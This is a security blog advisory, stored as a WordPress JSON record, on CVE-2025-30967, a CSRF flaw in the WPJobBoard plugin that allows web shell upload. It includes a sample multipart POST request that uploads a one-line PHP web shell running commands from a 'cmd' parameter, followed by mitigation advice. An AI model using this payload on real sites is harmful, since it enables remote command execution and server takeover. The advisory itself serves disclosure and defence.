{"id":29406,"date":"2025-04-23T01:49:24","date_gmt":"2025-04-23T01:49:24","guid":{"rendered":""},"modified":"2025-09-16T05:56:05","modified_gmt":"2025-09-16T11:56:05","slug":"cve-2025-30967-critical-csrf-vulnerability-in-wpjobboard-plugin-allows-remote-code-execution","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-30967-critical-csrf-vulnerability-in-wpjobboard-plugin-allows-remote-code-execution\/","title":{"rendered":"<strong>CVE-2025-30967: Critical CSRF Vulnerability in WPJobBoard Plugin Allows Remote Code Execution<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>A recently discovered security vulnerability, identified as CVE-2025-30967, is causing significant concern among the cybersecurity community. This vulnerability affects the WordPress plugin WPJobBoard, exposing a large number of websites to potential cyber threats. The vulnerability is a Cross-Site Request Forgery (CSRF), which can allow an attacker to upload a web shell to a server, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-50350-broken-cryptographic-algorithm-leads-to-potential-data-leakage-in-hcl-dryice-myxalytics\/\"  data-wpil-monitor-id=\"33672\">potentially leading to system compromise or data leakage<\/a>. Given the high Severity Score of 9.6, this is an issue that demands immediate attention and effective countermeasures.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-30967<br \/>\nSeverity: Critical (CVSS: 9.6)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-52304-stack-overflow-vulnerability-in-paddlepaddle-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"34034\">Potential for system<\/a> compromise and data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-3344605959\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>WPJobBoard | All versions to date<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The WPJobBoard plugin has a CSRF vulnerability that <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-21860-arbitrary-code-execution-vulnerability-in-openharmony\/\"  data-wpil-monitor-id=\"33843\">allows<\/a> an attacker to trick an authenticated user into executing an unwanted action without their knowledge. This is particularly hazardous as it can allow an attacker to upload a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3928-unspecified-vulnerability-in-commvault-web-server-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"40382\">web shell to the server<\/a>. This web shell, once uploaded, can provide the attacker with control over the server, and thereby <a href=\"https:\/\/www.ameeba.com\/blog\/doge-s-access-to-federal-data-a-cybersecurity-concern\/\"  data-wpil-monitor-id=\"38421\">access to sensitive data<\/a> stored within.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-1364364868\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here&#8217;s a conceptual example of a malicious HTTP request that an attacker could use to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-50123-exploitable-vulnerability-in-hozard-alarm-system-sms-authentication\/\"  data-wpil-monitor-id=\"34951\">exploit this vulnerability<\/a>:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/wpjobboard\/submit HTTP\/1.1\nHost: target.example.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;upload&quot;; filename=&quot;shell.php&quot;\nContent-Type: application\/x-php\n&lt;?php echo shell_exec($_GET[&#039;cmd&#039;]); ?&gt;\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n<p>In this example, the attacker is sending a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4829-critical-buffer-overflow-vulnerability-in-totolink-http-post-request-handler\/\"  data-wpil-monitor-id=\"52243\">POST request<\/a> to the WPJobBoard&#8217;s form submission endpoint. The malicious part is the file `shell.php`, which, when executed on the server, will run any <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-44872-command-injection-vulnerability-in-tenda-ac9-v15-03-06-42-multi-via-the-formsetusbunload-function\/\"  data-wpil-monitor-id=\"42896\">command passed to it via<\/a> the &#8216;cmd&#8217; GET parameter.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>It is strongly recommended to apply the vendor patch as soon as it becomes available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. Additionally, website administrators should regularly check their <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-36157-unauthorized-remote-server-property-file-modification-in-ibm-jazz-foundation\/\"  data-wpil-monitor-id=\"83048\">servers for any suspicious files<\/a> or activities. Regularly updating plugins and other <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-29709-high-risk-file-upload-vulnerability-in-sourcecodester-company-website-cms-1-0\/\"  data-wpil-monitor-id=\"36846\">website components can also prevent the exploitation of such vulnerabilities<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview A recently discovered security vulnerability, identified as CVE-2025-30967, is causing significant concern among the cybersecurity community. This vulnerability affects the WordPress plugin WPJobBoard, exposing a large number of websites to potential cyber threats. The vulnerability is a Cross-Site Request Forgery (CSRF), which can allow an attacker to upload a web shell to a server, [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[90,80],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-29406","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-csrf","attack_vector-rce"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/29406","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=29406"}],"version-history":[{"count":10,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/29406\/revisions"}],"predecessor-version":[{"id":75586,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/29406\/revisions\/75586"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=29406"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=29406"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=29406"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=29406"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=29406"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=29406"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=29406"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=29406"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=29406"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}